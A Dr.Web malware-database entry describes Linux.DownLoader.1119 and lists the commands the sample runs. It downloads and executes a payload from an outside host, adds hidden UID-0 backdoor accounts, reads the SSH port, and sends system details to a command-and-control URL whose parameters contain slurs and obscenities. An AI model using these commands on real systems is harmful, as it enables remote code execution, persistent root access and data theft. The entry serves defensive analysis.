Linux.DownLoader.1119

Добавлен в вирусную базу Dr.Web: 2019-06-14

Описание добавлено: 2019-06-14

Malicious functions:

Removes itself

Launches processes:

bash
wget -q http://thebestperlscripts.cf/.../os -O protections
chmod 777 protections
./protections
tr -d ./
clear
useradd -o -u 0 -g 0 -M -d /root -s /bin/bash system
useradd -o -u 0 -g 0 -M -d /root -s /bin/bash os
nscd -i passwd
nscd -i group
passwd system
passwd os
grep -Ew #Port|Port /etc/ssh/sshd_config
head -n1
awk {print $2}
lsb_release -d
awk {$1= \"\"; print $0}
nproc --all
free -mt
grep Total:
wget -qO- http://5.135.9.132/WelcomeNewBotBuddy/OwO.php?HOLETOFUCK=22&OSCHECKNIGNOG=DUBIUNTUBITCH&RUNNINGOS= Debian GNU/Linux 8.3 (jessie)&TOTALCPU=1&TOTALRAM=959&HOWTFELSEDOIGETIN=PwzLetMeInYourServerSoWeCanFuckSenpaiCodeAbuse

Performs operations with the file system:

Modifies file access rights:

Creates symlinks:

Creates or modifies files:

Deletes files:

Network activity:

Establishes connection:

HTTP GET requests:

th#######rlscripts.cf/.../os
http://#.###.#.##########################.#####################HECKNIGNOG=DUBIUNTUBITCH&RUNNINGOS=%20Debian%20GNU/Linux%208.3%20(jessie)&TOTALCPU=1&TOTALRAM=959&HOWTFELSEDOIGETIN=PwzLetMeInYourServerSoWeCanFuckSenpaiCodeAbuse

DNS ASK:

Other:

Collects CPU information

Collects RAM information